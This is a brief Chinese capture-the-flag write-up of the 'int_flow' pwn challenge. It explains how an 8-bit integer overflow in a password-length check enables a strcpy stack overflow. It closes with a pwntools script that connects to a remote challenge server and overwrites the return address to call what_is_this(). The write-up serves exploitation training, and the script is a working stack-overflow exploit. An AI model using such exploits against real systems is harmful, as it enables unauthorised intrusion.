int_flow pwn

规矩走一下

查看main() 反汇编

翻译一下 肯定得登陆吧 所以当收到'Your chioce'时咱得扣1

进入login（）函数浅看一下

两个read()函数都不能溢出 看一下check_passwd()函数参数s从buf里提取

浅看一下这个函数

 s的长度换成无符号整型int8得在3和8之间才能提示success 接着fflush是一个清栈的操作

浅看一下strcpy 这也是一个危险函数会导致栈溢出

打开what_is_this() 

from pwn import *
r=remote('111.200.241.244',49159)
payload=b'a'*(0x14+0x04)+p32(0x804868b)

#把what_is _this()的地址放在返回地址的位置上，需要我们精心布置 把s复制到的dest 查看的dest在栈里的位置我们可以写出这行脚本
payload=payload.ljust(260,b'a')

#左对齐 把长度填够260 16进制104 也可以261 不能大于264
r.recvuntil('Your choice:')
r.sendline('1')
r.sendlineafter('Please input your username:\n','zhenzhu')
r.sendlineafter('Please input your passwd:\n',payload)
r.interactive()